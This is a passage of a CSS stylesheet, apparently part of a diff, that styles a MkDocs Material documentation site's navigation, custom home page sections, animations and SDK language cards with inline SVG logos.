.md-nav__item--active > .md-nav__link.md-nav__container, +.md-nav--lifted > .md-nav__list > .md-nav__item--nested > .md-nav__link.md-nav__container, +.md-nav .md-nav__item--section > div.md-nav__link.md-nav__container { + padding: 0 !important; +} +.md-nav--lifted > .md-nav__list > .md-nav__item--active > .md-nav__link--index { + padding-left: 8px !important; + font-size: 11px; + font-weight: 700; + text-transform: uppercase; + letter-spacing: 0.04em; + color: var(--c-text-dim) !important; +} + +/* Search */ +.md-search__form { + border-radius: var(--r-md) !important; + background: var(--c-bg-secondary) !important; + border: 1px solid var(--c-border) !important; +} +.md-search__input { + font-family: var(--font-body) !important; + color: var(--c-text) !important; +} +.md-search__input::placeholder { + color: var(--c-text-dim) !important; +} +.md-search__icon { + color: var(--c-text-dim) !important; +} + +/* Admonitions */ +.md-typeset .admonition, +.md-typeset details { + border-radius: var(--r-sm) !important; + border-left: 3px solid; + box-shadow: none; + margin-top: 10px !important; + margin-bottom: 12px !important; + font-size: 14px !important; + background: var(--c-bg-secondary); +} +.md-typeset .admonition .admonition-title, +.md-typeset details summary { + font-size: 14px !important; + padding: 8px 12px 8px 44px !important; +} +.md-typeset .admonition p, +.md-typeset details p { + font-size: 14px !important; + margin-bottom: 8px; + padding-left: 10px; + padding-right: 10px; +} + +/* Footer */ +.md-footer { + background: var(--c-bg) !important; + border-top: 1px solid var(--c-border-dim); +} +.md-footer-meta { + background: var(--c-bg) !important; +} +.md-footer-nav__link { + color: var(--c-text) !important; +} +.md-footer-nav__title { + color: var(--c-text) !important; +} +.md-footer-nav__direction { + color: var(--c-text-muted) !important; +} +.md-copyright { + color: var(--c-text-dim) !important; +} +.md-copyright a { + color: var(--c-text-muted) !important; +} +.md-social__link svg { + fill: var(--c-text-muted) !important; +} +.md-social__link:hover svg { + fill: var(--c-accent) !important; +} +.md-footer-nav__link:hover .md-footer-nav__title { + color: var(--c-accent) !important; +} + +/* Main content area */ +.md-main { + background: var(--c-bg) !important; +} +.md-content { + background: var(--c-bg) !important; +} + +/* ========================================================================== + HOME PAGE — full custom layout + ========================================================================== */ + +.home-wrapper { + position: relative; + overflow: hidden; + margin-bottom: -1.2rem; +} + +.md-content article:has(> .home-wrapper) > h1 { display: none; } + +.md-content:has(.home-wrapper) .md-content__inner { + padding-top: 0; + margin-top: 0; + max-width: none; +} +.md-content:has(.home-wrapper) article { + padding-top: 0; +} +.md-main:has(.home-wrapper) .md-main__inner { + margin-top: 0; +} + +/* ---------- Section Header Inline (pill + headline on same line) ---------- */ +.section-header-inline { + display: flex; + align-items: baseline; + gap: 12px; + margin-bottom: 20px; + flex-wrap: wrap; +} +.section-header-inline .section-label { + position: relative; + top: -0.1em; +} +.home-wrapper .section-header-inline h2 { + font-family: var(--font-body) !important; + font-size: 48px !important; + font-weight: 700 !important; + line-height: 1.2 !important; + color: var(--c-text) !important; + letter-spacing: -0.02em; + border: none !important; + padding: 0 !important; + margin: 0 !important; +} + +/* ---------- Section Label ---------- */ +.section-label { + display: inline-block; + font-family: var(--font-mono); + font-size: 12px; + font-weight: 500; + text-transform: uppercase; + letter-spacing: 0.1em; + color: var(--c-accent); + background: rgba(249, 115, 22, 0.1); + border: 1px solid rgba(249, 115, 22, 0.2); + padding: 4px 14px; + border-radius: 100px; + margin-bottom: 16px; +} + +/* ---------- Hero ---------- */ +.hero { + padding: 32px 0 40px; + position: relative; + text-align: center; + max-width: 720px; + margin: 0 auto; +} +.hero-badge { + display: inline-block; + font-family: var(--font-body); + font-size: 13px; + font-weight: 400; + letter-spacing: normal; + color: var(--c-text-muted); + background: transparent; + border: none; + padding: 0; + border-radius: 0; + margin-bottom: 24px; +} +.home-wrapper .hero-title { + font-family: var(--font-body) !important; + font-size: 64px !important; + font-weight: 700 !important; + line-height: 1.1 !important; + letter-spacing: -0.03em; + margin: 0 0 24px !important; + padding: 0; + text-align: center; + color: var(--c-text) !important; +} +.hero-highlight { + color: var(--c-accent) !important; +} +.hero-subtitle { + font-size: 20px; + font-weight: 400; + line-height: 1.6; + color: var(--c-text-muted); + margin: 0 auto 16px; + max-width: 640px; + text-align: center; +} +.hero-differentiators { + font-family: var(--font-mono); + font-size: 13px; + font-weight: 500; + letter-spacing: 0.02em; + color: var(--c-text-dim); + margin: 0 auto 28px; + text-align: center; +} +.hero-install { + margin: 20px auto 0; + text-align: center; +} +.hero-install code { + font-family: var(--font-mono); + font-size: 14px; + color: var(--c-text-muted); + background: var(--c-bg-secondary); + border: 1px solid var(--c-border-dim); + border-radius: var(--r-md); + padding: 10px 20px; + display: inline-block; + user-select: all; + cursor: text; +} + +/* Buttons */ +.hero-actions { + display: flex; + flex-wrap: nowrap; + gap: 10px; + align-items: center; + justify-content: center; +} +.btn-primary { + display: inline-flex; + align-items: center; + gap: 8px; + padding: 14px 28px; + font-family: var(--font-body); + font-size: 15px; + font-weight: 500; + color: #fff !important; + background: var(--c-accent); + border-radius: var(--r-md); + text-decoration: none !important; + transition: all 0.2s cubic-bezier(0.16, 1, 0.3, 1); + box-shadow: 0 1px 2px rgba(0,0,0,0.2); +} +.btn-primary:hover { + background: var(--c-accent-hover); + transform: translateY(-1px); + box-shadow: 0 4px 14px rgba(249, 115, 22, 0.3); +} +.btn-arrow { + transition: transform 0.2s; +} +.btn-primary:hover .btn-arrow { + transform: translateX(3px); +} +.btn-ghost { + display: inline-flex; + align-items: center; + padding: 14px 28px; + font-family: var(--font-body); + font-size: 15px; + font-weight: 500; + color: var(--c-text-muted) !important; + background: transparent; + border: 1px solid var(--c-border); + border-radius: var(--r-md); + text-decoration: none !important; + transition: all 0.2s; +} +.btn-ghost:hover { + color: var(--c-text) !important; + border-color: var(--c-text-dim); + background: var(--c-bg-secondary); +} + +/* Repo link */ +a.repo-link, +a.repo-link:hover, +a.repo-link:focus, +.md-typeset a.repo-link { + display: inline-flex; + align-items: center; + gap: 6px; + padding: 14px 20px; + border-radius: var(--r-md) !important; + border: 1px solid var(--c-border) !important; + background: var(--c-bg-secondary) !important; + color: var(--c-text-muted) !important; + font-family: var(--font-mono) !important; + font-size: 14px !important; + font-weight: 500 !important; + text-decoration: none !important; + box-shadow: none !important; + transition: all 0.2s ease; +} +a.repo-link:hover { + border-color: var(--c-accent) !important; + box-shadow: var(--shadow-elevated), 0 0 20px rgba(249, 115, 22, 0.15) !important; + transform: translateY(-2px); + color: var(--c-text) !important; +} +a.repo-link svg { + flex-shrink: 0; + color: var(--c-text-muted) !important; +} +.repo-stats { + display: inline-flex; + align-items: center; + gap: 10px; + margin-left: 6px; + padding-left: 10px; + border-left: 1px solid var(--c-border); +} +.repo-stat { + display: inline-flex; + align-items: center; + gap: 3px; + font-size: 13px; + font-weight: 600; + color: var(--c-text-muted); +} +.repo-stat svg { + opacity: 0.7; +} + +/* ---------- Hero Quickstart ---------- */ +.hero-quickstart { + margin-top: 32px; +} +.hero-code-block { + display: inline-block; + text-align: left; + background: var(--c-bg-secondary); + border: 1px solid var(--c-border); + border-radius: var(--r-lg); + padding: 16px 24px; + max-width: 480px; + width: 100%; +} +.hero-code-label { + font-family: var(--font-mono); + font-size: 11px; + font-weight: 500; + text-transform: uppercase; + letter-spacing: 0.08em; + color: var(--c-text-dim); + margin-bottom: 10px; +} +code.hero-terminal { + display: block; + font-family: var(--font-mono) !important; + font-size: 14px !important; + line-height: 1.6 !important; + color: var(--c-text-muted) !important; + background: transparent !important; + border: none !important; + padding: 0 !important; + letter-spacing: 0; +} +.hero-highlight-code { + color: var(--c-accent) !important; +} +.install-comment { + color: var(--c-text-dim); +} +.hero-quickstart-alt { + margin-top: 10px; + font-family: var(--font-body); + font-size: 13px; + color: var(--c-text-dim); +} +.hero-quickstart-alt code { + font-family: var(--font-mono) !important; + font-size: 12px !important; + background: var(--c-bg-secondary) !important; + border: 1px solid var(--c-border-dim) !important; + border-radius: var(--r-sm); + padding: 2px 6px !important; + color: var(--c-text-muted) !important; +} + +/* ---------- Hero Two-Column (quickstart + AI card) ---------- */ +.hero > .hero-ai-card { + margin-top: 32px; + max-width: 700px; + margin-left: auto; + margin-right: auto; +} +.hero-ai-card { + background: var(--c-bg-secondary); + border: 1px solid var(--c-border); + border-radius: var(--r-lg); + padding: 16px 24px; +} +.hero-ai-header { + display: flex; + align-items: center; + justify-content: center; + gap: 10px; + margin-bottom: 12px; +} +.hero-ai-icon { + color: var(--c-accent); + flex-shrink: 0; + line-height: 0; +} +.hero-ai-card h3 { + font-family: var(--font-body) !important; + font-size: 16px !important; + font-weight: 600 !important; + color: var(--c-text) !important; + margin: 0 !important; +} +.hero-ai-body { + display: grid; + grid-template-columns: 1fr 1fr; + gap: 16px; +} +.hero-ai-item { + display: flex; + flex-direction: column; +} +.hero-ai-link { + font-family: var(--font-mono); + font-size: 15px; + font-weight: 600; + color: var(--c-accent); + text-decoration: none; + margin-bottom: 4px; +} +.hero-ai-link:hover { + color: var(--c-accent-hover); +} +.hero-ai-sub { + font-size: 13px; + line-height: 1.4; + color: var(--c-text-muted); +} +@media (max-width: 700px) { + .hero-ai-body { + grid-template-columns: 1fr; + } +} + +/* ---------- Value Strip ---------- */ +.value-strip { + display: flex; + justify-content: center; + align-items: center; + gap: 0; + padding: 20px 0; + border-top: 1px solid var(--c-border-dim); + border-bottom: 1px solid var(--c-border-dim); +} +.value-item { + display: flex; + flex-direction: column; + align-items: center; + padding: 0 40px; +} +.value-metric { + font-family: var(--font-body); + font-size: 18px; + font-weight: 600; + color: var(--c-text); +} +.value-label { + font-family: var(--font-mono); + font-size: 11px; + font-weight: 500; + text-transform: uppercase; + letter-spacing: 0.08em; + color: var(--c-text-dim); + margin-top: 4px; +} +.value-divider { + width: 1px; + height: 40px; + background: var(--c-border-dim); +} +@media (max-width: 900px) { + .value-strip { flex-wrap: wrap; gap: 24px; } + .value-divider { display: none; } +} +.hero-logos { + padding-top: 32px; +} + +/* ---------- Logo Wall ---------- */ +.logo-wall { + padding: 48px 0 24px; + text-align: center; +} +.logo-wall-label { + font-family: var(--font-body); + font-size: 13px; + font-weight: 500; + text-transform: uppercase; + letter-spacing: 0.1em; + color: var(--c-text-dim); + margin: 0 0 16px; +} +.logo-marquee { + overflow: hidden; + position: relative; + width: 100%; + mask-image: linear-gradient(to right, transparent 0%, black 8%, black 92%, transparent 100%); + -webkit-mask-image: linear-gradient(to right, transparent 0%, black 8%, black 92%, transparent 100%); +} +.logo-track { + display: flex; + align-items: center; + gap: 40px; + width: max-content; + animation: marquee-scroll 30s linear infinite; +} +.logo-track:hover { + animation-play-state: paused; +} +@keyframes marquee-scroll { + 0% { transform: translateX(0); } + 100% { transform: translateX(-50%); } +} +.logo-name { + font-family: var(--font-body); + font-size: 18px; + font-weight: 600; + color: var(--c-text-muted); + letter-spacing: -0.01em; + white-space: nowrap; + opacity: 0.35; + transition: opacity 0.2s; + flex-shrink: 0; +} +.logo-name:hover { + opacity: 0.6; +} + +/* ---------- Features ---------- */ +.features-section { + padding: 32px 0 28px; +} +.features-header { + margin-bottom: 20px; +} +.home-wrapper .features-header h2 { + font-family: var(--font-body) !important; + font-size: 48px !important; + font-weight: 700 !important; + line-height: 1.2 !important; + color: var(--c-text) !important; + letter-spacing: -0.02em; + border: none !important; + padding: 0 !important; + margin: 0 !important; +} +.features-grid { + display: grid; + grid-template-columns: repeat(3, 1fr); + gap: 20px; +} +.feature-card { + padding: 20px; + background: var(--c-bg-secondary); + border: 1px solid var(--c-border-dim); + border-radius: var(--r-lg); + transition: all 0.25s cubic-bezier(0.16, 1, 0.3, 1); + position: relative; +} +.feature-card:hover { + border-color: var(--c-border); + box-shadow: var(--shadow-card); + transform: translateY(-2px); +} +.feature-card.feature-accent { + border-color: var(--c-accent); + background: linear-gradient(135deg, rgba(249,115,22,0.06) 0%, var(--c-bg-secondary) 100%); +} +.feature-tag { + font-family: var(--font-mono); + font-size: 11px; + font-weight: 600; + text-transform: uppercase; + letter-spacing: 0.1em; + color: var(--c-text-dim); + margin-bottom: 14px; +} +.home-wrapper .feature-card h3 { + font-family: var(--font-body) !important; + font-size: 20px !important; + font-weight: 600 !important; + color: var(--c-text) !important; + margin: 0 0 10px !important; + line-height: 1.4; +} +.feature-card p { + font-size: 15px; + line-height: 1.6; + color: var(--c-text-muted); + margin: 0; +} +.feature-link { + display: inline-block; + margin-top: 14px; + font-family: var(--font-mono); + font-size: 14px; + font-weight: 500; + color: var(--c-accent) !important; + text-decoration: none !important; + transition: color 0.15s; +} +.feature-link:hover { + color: var(--c-accent-hover) !important; +} + +/* ---------- Language Logos ---------- */ +.lang-logos { + display: flex; + align-items: center; + gap: 12px; + margin-top: 14px; + flex-wrap: wrap; +} +.lang-logos a { + display: inline-flex; + align-items: center; + justify-content: center; + width: 28px; + height: 28px; + border-radius: var(--r-sm); + background: var(--c-bg-tertiary); + border: 1px solid var(--c-border-dim); + padding: 5px; + transition: all 0.2s; + text-decoration: none !important; +} +.lang-logos a:hover { + border-color: var(--c-accent); + background: rgba(249, 115, 22, 0.1); + transform: translateY(-1px); +} +.lang-logos img { + width: 100%; + height: 100%; + object-fit: contain; + filter: brightness(0.9) contrast(1.1); +} + +/* ---------- Quickstart ---------- */ +.quickstart-preview { + padding: 32px 0; + background: var(--c-bg-secondary); + margin: 0 -1000px; + padding-left: 1000px; + padding-right: 1000px; + border-top: 1px solid var(--c-border-dim); + border-bottom: 1px solid var(--c-border-dim); +} +.qs-header { + margin-bottom: 16px; +} +.home-wrapper .qs-header h2 { + font-family: var(--font-body) !important; + font-size: 40px !important; + font-weight: 700 !important; + line-height: 1.2 !important; + color: var(--c-text) !important; + letter-spacing: -0.02em; + border: none !important; + padding: 0 !important; + margin: 0 0 8px !important; +} +.qs-header p { + color: var(--c-text-muted); + font-size: 18px; + margin: 0; +} +.steps-grid { + display: grid; + grid-template-columns: repeat(3, 1fr); + gap: 20px; +} +.step { + background: var(--c-bg); + border: 1px solid var(--c-border-dim); + border-radius: var(--r-lg); + overflow: hidden; +} +.step-marker { + display: flex; + align-items: center; + gap: 12px; + padding: 18px 22px 0; +} +.step-number { + display: inline-flex; + align-items: center; + justify-content: center; + width: 26px; + height: 26px; + border-radius: 50%; + background: var(--c-bg-secondary); + color: var(--c-accent); + font-family: var(--font-mono); + font-size: 12px; + font-weight: 600; + border: 1px solid var(--c-border-dim); +} +.step-label { + font-family: var(--font-body); + font-size: 16px; + font-weight: 600; + color: var(--c-text); +} +.step-content { + padding: 0 22px; +} +.step-content pre { + margin: 12px -22px 0 !important; + border-radius: 0 0 var(--r-lg) var(--r-lg) !important; + border: none !important; + border-top: 1px solid var(--c-border-dim) !important; + box-shadow: none !important; +} +.step-content pre > code { + padding: 12px 16px !important; +} +.qs-terminal { + max-width: 640px; + border-radius: var(--r-lg); + overflow: hidden; + background: var(--c-bg); + box-shadow: var(--shadow-card); + border: 1px solid var(--c-border-dim); +} +.qs-cta { + display: flex; + justify-content: flex-end; + margin-top: 16px; +} +.steps-cta { + text-align: center; + margin-top: 20px; +} + +/* ---------- Architecture cards ---------- */ +.arch-section { + padding: 32px 0; +} +.arch-header { + margin-bottom: 20px; +} +.home-wrapper .arch-header h2 { + font-family: var(--font-body) !important; + font-size: 40px !important; + font-weight: 700 !important; + line-height: 1.2 !important; + color: var(--c-text) !important; + letter-spacing: -0.02em; + border: none !important; + padding: 0 !important; + margin: 0 !important; +} +.arch-grid { + display: grid; + grid-template-columns: repeat(4, 1fr); + gap: 20px; +} +.arch-card { + display: block; + padding: 20px 18px; + background: var(--c-bg-secondary); + border: 1px solid var(--c-border-dim); + border-radius: var(--r-lg); + text-decoration: none !important; + color: var(--c-text) !important; + transition: all 0.25s cubic-bezier(0.16, 1, 0.3, 1); + position: relative; + overflow: hidden; +} +.arch-card::before { + content: ""; + position: absolute; + top: 0; + left: 0; + right: 0; + height: 3px; + background: var(--c-accent); + transform: scaleX(0); + transform-origin: left; + transition: transform 0.3s cubic-bezier(0.16, 1, 0.3, 1); +} +.arch-card:hover::before { + transform: scaleX(1); +} +.arch-card:hover { + border-color: var(--c-border); + box-shadow: var(--shadow-card); + transform: translateY(-2px); +} +.arch-number { + font-family: var(--font-mono); + font-size: 12px; + font-weight: 600; + color: var(--c-accent); + letter-spacing: 0.02em; + margin-bottom: 14px; +} +.home-wrapper .arch-card h3 { + font-family: var(--font-body) !important; + font-size: 18px !important; + font-weight: 600 !important; + margin: 0 0 8px !important; + color: var(--c-text) !important; +} +.arch-card p { + font-size: 14px; + line-height: 1.55; + color: var(--c-text-muted); + margin: 0; +} + +/* ---------- Install ---------- */ +.install-section { + padding: 32px 0; +} +.install-options { + display: grid; + grid-template-columns: repeat(2, 1fr); + gap: 20px; +} +.install-option { + background: var(--c-bg-secondary); + border: 1px solid var(--c-border-dim); + border-radius: var(--r-lg); + padding: 20px 18px; +} +.home-wrapper .install-option h3 { + font-family: var(--font-body) !important; + font-size: 18px !important; + font-weight: 600 !important; + color: var(--c-text) !important; + padding: 0; + margin: 0 0 4px !important; +} +.install-cmd { + margin-top: 8px; +} +.install-cmd code { + display: block; + font-family: var(--font-mono) !important; + background: transparent !important; + color: var(--c-text-muted) !important; + border: none !important; + border-radius: var(--r-sm); + padding: 0.5rem 0.75rem !important; + white-space: pre-wrap; + overflow-x: auto; +} +.install-comment { + color: var(--c-text-dim); +} +.install-rec { + font-family: var(--font-mono); + font-size: 11px; + font-weight: 600; + text-transform: uppercase; + letter-spacing: 0.08em; + color: var(--c-accent); + background: rgba(249, 115, 22, 0.1); + padding: 2px 8px; + border-radius: 100px; + margin-left: 8px; + vertical-align: middle; +} + +/* ---------- FAQ ---------- */ +.faq-section { + padding: 32px 0; +} +.faq-grid { + display: grid; + grid-template-columns: repeat(2, 1fr); + gap: 0 40px; +} +.faq-item.faq-item { + background: none !important; + border: none !important; + border-bottom: 1px solid var(--c-border-dim) !important; + border-radius: 0 !important; + padding: 0 !important; + margin: 0 !important; + box-shadow: none !important; + font-size: inherit !important; +} +.faq-item.faq-item[open] { + border-bottom-color: var(--c-accent) !important; +} +.faq-item.faq-item > summary { + font-family: var(--font-body) !important; + font-size: 15px !important; + font-weight: 500 !important; + color: var(--c-text) !important; + padding: 14px 0 !important; + margin: 0 !important; + min-height: 0 !important; + cursor: pointer; + list-style: none !important; + display: flex; + align-items: center; + justify-content: space-between; + gap: 10px; + background: none !important; + border: none !important; +} +.faq-item.faq-item > summary:hover { + color: var(--c-accent) !important; +} +.faq-item.faq-item > summary::-webkit-details-marker { + display: none !important; +} +.faq-item.faq-item > summary::before { + display: none !important; +} +.faq-item.faq-item > summary::after { + content: "+" !important; + font-family: var(--font-mono) !important; + font-size: 14px !important; + font-weight: 400 !important; + color: var(--c-text-dim) !important; + flex-shrink: 0; + position: static !important; + transform: none !important; + width: auto !important; + height: auto !important; + background: none !important; + mask: none !important; + -webkit-mask: none !important; +} +.faq-item.faq-item[open] > summary::after { + content: "\2212" !important; + color: var(--c-accent) !important; + transform: none !important; +} +.faq-item.faq-item > p { + font-size: 14px !important; + line-height: 1.6 !important; + color: var(--c-text-muted) !important; + padding: 0 0 14px !important; + margin: 0 !important; +} +.faq-item.faq-item > p a { + color: var(--c-accent) !important; +} +@media (max-width: 900px) { + .faq-grid { grid-template-columns: 1fr; } +} + +/* ---------- CTA ---------- */ +.cta-section { + padding: 36px 0 32px; + text-align: center; +} +.cta-content { + max-width: 520px; + margin: 0 auto; +} +.home-wrapper .cta-content h2 { + font-family: var(--font-body) !important; + font-size: 36px !important; + font-weight: 700 !important; + line-height: 1.2 !important; + letter-spacing: -0.02em; + color: var(--c-text) !important; + border: none !important; + padding: 0 !important; + margin: 0 0 16px !important; +} +.cta-content p { + font-size: 18px; + line-height: 1.6; + color: var(--c-text-muted); + margin-bottom: 24px; +} +.cta-actions { + display: flex; + gap: 12px; + justify-content: center; +} + +/* ---------- Responsive ---------- */ +@media (max-width: 1100px) { + .arch-grid { grid-template-columns: repeat(2, 1fr); } +} +@media (max-width: 900px) { + .features-grid { grid-template-columns: repeat(2, 1fr); } + .steps-grid { grid-template-columns: 1fr; } + .install-options { grid-template-columns: 1fr; } +} +@media (max-width: 600px) { + .hero { padding: 48px 0 24px; } + .home-wrapper .hero-title { font-size: 36px !important; } + .hero-subtitle { font-size: 16px; } + .hero-actions { flex-direction: column; align-items: center; } + .features-grid { grid-template-columns: 1fr; } + .arch-grid { grid-template-columns: 1fr; } + .home-wrapper .section-header-inline h2, + .home-wrapper .features-header h2, + .home-wrapper .qs-header h2, + .home-wrapper .arch-header h2, + .home-wrapper .cta-content h2 { font-size: 28px !important; } +} + +/* ---------- Entrance Animations ---------- */ +@keyframes fadeUp { + from { opacity: 0; transform: translateY(20px); } + to { opacity: 1; transform: translateY(0); } +} +@keyframes fadeIn { + from { opacity: 0; } + to { opacity: 1; } +} +@keyframes slideInRight { + from { opacity: 0; transform: translateX(30px); } + to { opacity: 1; transform: translateX(0); } +} + +.hero-badge { + animation: fadeIn 0.5s ease-out both; +} +.hero-title { + animation: fadeUp 0.6s ease-out 0.1s both; +} +.hero-subtitle { + animation: fadeUp 0.5s ease-out 0.2s both; +} +.hero-actions { + animation: fadeUp 0.5s ease-out 0.3s both; +} +.hero-quickstart { + animation: fadeUp 0.5s ease-out 0.4s both; +} +.feature-card { + animation: fadeUp 0.5s ease-out both; +} +.feature-card:nth-child(1) { animation-delay: 0.1s; } +.feature-card:nth-child(2) { animation-delay: 0.15s; } +.feature-card:nth-child(3) { animation-delay: 0.2s; } +.feature-card:nth-child(4) { animation-delay: 0.25s; } +.feature-card:nth-child(5) { animation-delay: 0.3s; } +.feature-card:nth-child(6) { animation-delay: 0.35s; } +.section-label { + animation: fadeUp 0.5s ease-out both; +} +.arch-card { + animation: fadeUp 0.5s ease-out both; +} +.arch-card:nth-child(1) { animation-delay: 0.05s; } +.arch-card:nth-child(2) { animation-delay: 0.1s; } +.arch-card:nth-child(3) { animation-delay: 0.15s; } +.arch-card:nth-child(4) { animation-delay: 0.2s; } + +/* ---------- Micro-interactions & Polish ---------- */ +:focus-visible { + outline: 2px solid var(--c-accent); + outline-offset: 2px; + border-radius: var(--r-sm); +} +.feature-link { + transition: color 0.15s, letter-spacing 0.2s; +} +.feature-link:hover { + letter-spacing: 0.02em; +} +.md-typeset .tabbed-labels > label { + font-family: var(--font-body) !important; + font-weight: 500; + font-size: 14px; + padding: 0.4rem 0.8rem; + transition: color 0.2s, border-color 0.2s; +} +.md-typeset .tabbed-labels > label:hover { + color: var(--c-text); +} +.md-clipboard { + color: var(--c-text-dim) !important; + transition: color 0.15s, transform 0.15s; +} +.md-clipboard:hover { + color: var(--c-accent) !important; + transform: scale(1.1); +} +.md-typeset pre { + scrollbar-width: thin; + scrollbar-color: var(--c-border) transparent; +} +.md-typeset pre::-webkit-scrollbar { + height: 6px; +} +.md-typeset pre::-webkit-scrollbar-thumb { + background: var(--c-border); + border-radius: 3px; +} + +/* TOC polish */ +.md-nav--secondary .md-nav__link { + font-size: 12px; + transition: color 0.15s; + padding: 3px 6px; + line-height: 1.4; +} +.md-nav--secondary > .md-nav__title { + font-size: 11px; + font-weight: 700; + text-transform: uppercase; + letter-spacing: 0.04em; + color: var(--c-text-dim) !important; + background: transparent !important; + box-shadow: none !important; + border-bottom: 1px solid var(--c-border-dim); + padding: 0.3rem 0.6rem; +} +.md-nav--secondary .md-nav__link--active { + color: var(--c-text) !important; + font-weight: 600; + background: transparent !important; +} + +/* Content area max-width for readability */ +.md-content__inner { + max-width: 48rem; + padding-top: 0.5rem; +} + +.md-typeset code { + letter-spacing: -0.01em; +} +.md-typeset a { + transition: color 0.15s, text-decoration-color 0.15s; +} +.md-typeset h1 { + animation: none; +} + +/* ========================================================================== + SDK Grid — Language card layout + ========================================================================== */ + +.sdk-grid { + display: grid; + grid-template-columns: repeat(auto-fill, minmax(300px, 1fr)); + gap: 16px; + margin: 2rem 0; +} + +.sdk-card { + display: flex; + align-items: center; + gap: 16px; + padding: 20px 24px; + border: 1px solid var(--c-border-dim); + border-radius: var(--r-md); + background: var(--c-bg-secondary); + text-decoration: none !important; + color: inherit !important; + transition: border-color 0.2s, box-shadow 0.2s, transform 0.15s; +} + +.sdk-card:hover { + border-color: var(--c-accent); + box-shadow: var(--shadow-card); + transform: translateY(-2px); +} + +.sdk-card h3 { + margin: 0 0 4px 0; + font-family: var(--font-body); + font-size: 18px; + font-weight: 600; + color: var(--c-text); +} + +.sdk-card p { + margin: 0; + font-size: 14px; + color: var(--c-text-dim); + line-height: 1.5; +} + +.sdk-info { + flex: 1; + min-width: 0; +} + +.sdk-arrow { + font-size: 1.3rem; + color: var(--c-text-dim); + transition: color 0.2s, transform 0.2s; + flex-shrink: 0; +} + +.sdk-card:hover .sdk-arrow { + color: var(--c-accent); + transform: translateX(3px); +} + +/* SDK Language Icons */ +.sdk-icon { + width: 40px; + height: 40px; + flex-shrink: 0; + background-size: contain; + background-repeat: no-repeat; + background-position: center; + filter: brightness(1.1); +} + +.sdk-java { + background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 128 128'%3E%3Cpath fill='%23EA2D2E' d='M47.6 98.6s-4.1 2.4 2.9 3.2c8.5 1 12.8.9 22.1-.9 0 0 2.5 1.5 5.9 2.9-20.9 8.9-47.3-.5-30.9-5.2zm-2.6-11.9s-4.6 3.4 2.4 4.1c9.1.9 16.2 1 28.6-1.3 0 0 1.7 1.7 4.4 2.7-25.3 7.4-53.5.6-35.4-5.5z'/%3E%3Cpath fill='%23EA2D2E' d='M69.1 61.5c5.2 6 -1.4 11.4-1.4 11.4s13.2-6.8 7.1-15.4c-5.7-8-10-12 13.5-25.7 0 0-36.9 9.2-19.2 29.7z'/%3E%3Cpath fill='%23EA2D2E' d='M102.4 108.3s3 2.5-3.3 4.4c-12.1 3.7-50.3 4.8-60.9.1-3.8-1.7 3.4-4 5.6-4.5 2.4-.5 3.7-.4 3.7-.4-4.3-3-27.7 5.9-11.9 8.5 43.2 7.1 78.7-3.2 66.8-8.1zM49.7 70.8s-19.6 4.7-6.9 6.4c5.4.7 16.1.5 26.1-.3 8.2-.6 16.4-2 16.4-2s-2.9 1.2-5 2.7c-20.1 5.3-58.9 2.8-47.7-2.6 9.5-4.5 17.1-4.2 17.1-4.2zm35.5 19.8c20.4-10.6 11-20.8 4.4-19.4-1.6.3-2.3.6-2.3.6s.6-.9 1.7-1.4c12.7-4.5 22.5 13.2-4.2 20.2 0 0 .3-.3.4-1z'/%3E%3Cpath fill='%23EA2D2E' d='M76.5 19.7s11.3 11.3-10.7 28.7c-17.7 14-4 22 0 31.1-10.3-9.3-17.8-17.5-12.8-25.1C60.5 43.7 80.3 38.5 76.5 19.7z'/%3E%3Cpath fill='%23EA2D2E' d='M51.4 117.4c19.6 1.3 49.7-.7 50.4-10.1 0 0-1.4 3.5-16.2 6.2-16.7 3.1-37.4 2.7-49.6.7 0 .1 2.5 2.1 15.4 3.2z'/%3E%3C/svg%3E"); +} + +.sdk-python { + background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 128 128'%3E%3ClinearGradient id='a' x1='70.3' x2='18.9' y1='1266.5' y2='1228.1' gradientTransform='translate(0 -1197)' gradientUnits='userSpaceOnUse'%3E%3Cstop offset='0' stop-color='%23387EB8'/%3E%3Cstop offset='1' stop-color='%23366994'/%3E%3C/linearGradient%3E%3Cpath fill='url(%23a)' d='M63.4 11c-7.2 0-14 .7-19.9 1.9-17.3 3.7-20.4 11.4-20.4 25.6v18.8h40.8v6.3H25.9C15 63.6 5.7 71.2 3 84.5c-3.1 15.2-3.2 24.7 0 40.6 2.4 11.8 8 20.6 18.9 20.6h12.2V127c0-13.5 11.7-25.4 24.4-25.4h40.8c10.5 0 18.9-8.6 18.9-19.2V44.5c0-10.2-8.6-17.9-18.9-19.7-6.5-1.2-13.3-1.8-20.5-1.9H63.4zM42 25c3.9 0 7.1 3.3 7.1 7.3 0 4-3.2 7.2-7.1 7.2-3.9 0-7.1-3.2-7.1-7.2 0-4 3.2-7.3 7.1-7.3z'/%3E%3ClinearGradient id='b' x1='88.1' x2='136' y1='1310.4' y2='1278.5' gradientTransform='translate(0 -1197)' gradientUnits='userSpaceOnUse'%3E%3Cstop offset='0' stop-color='%23FFE052'/%3E%3Cstop offset='1' stop-color='%23FFC331'/%3E%3C/linearGradient%3E%3Cpath fill='url(%23b)' d='M98.2 63.6v18.1c0 14.1-12 25.9-24.4 25.9H33c-10.3 0-18.9 8.9-18.9 19.2v36c0 10.2 8.9 16.2 18.9 19.2 12 3.6 23.5 4.2 40.8 0 11.5-2.8 18.9-8.4 18.9-19.2v-14.4H53v-6.3h59.7c11 0 15-7.7 18.9-19.2 4-11.8 3.8-23.2 0-40.6-2.7-12.5-7.9-19.2-18.9-19.2H98.2zM86.7 126c3.9 0 7.1 3.2 7.1 7.2 0 4-3.2 7.3-7.1 7.3-3.9 0-7.1-3.3-7.1-7.3 0-4 3.2-7.2 7.1-7.2z'/%3E%3C/svg%3E"); +} + +.sdk-go { + background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 120 120'%3E%3Crect width='120' height='120' rx='12' fill='%2300ADD8'/%3E%3Ctext x='60' y='76' text-anchor='middle' font-family='Arial,sans-serif' font-weight='bold' font-size='52' fill='white'%3EGo%3C/text%3E%3C/svg%3E"); +} + +.sdk-js { + background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 128 128'%3E%3Cpath fill='%23F0DB4F' d='M2 2h124v124H2z'/%3E%3Cpath fill='%23323330' d='M34.5 103.7c2.8 4.5 5.3 8.3 11.8 8.3 6 0 10-2.3 10-11.5V59.7h12.7v41c0 18.9-11.1 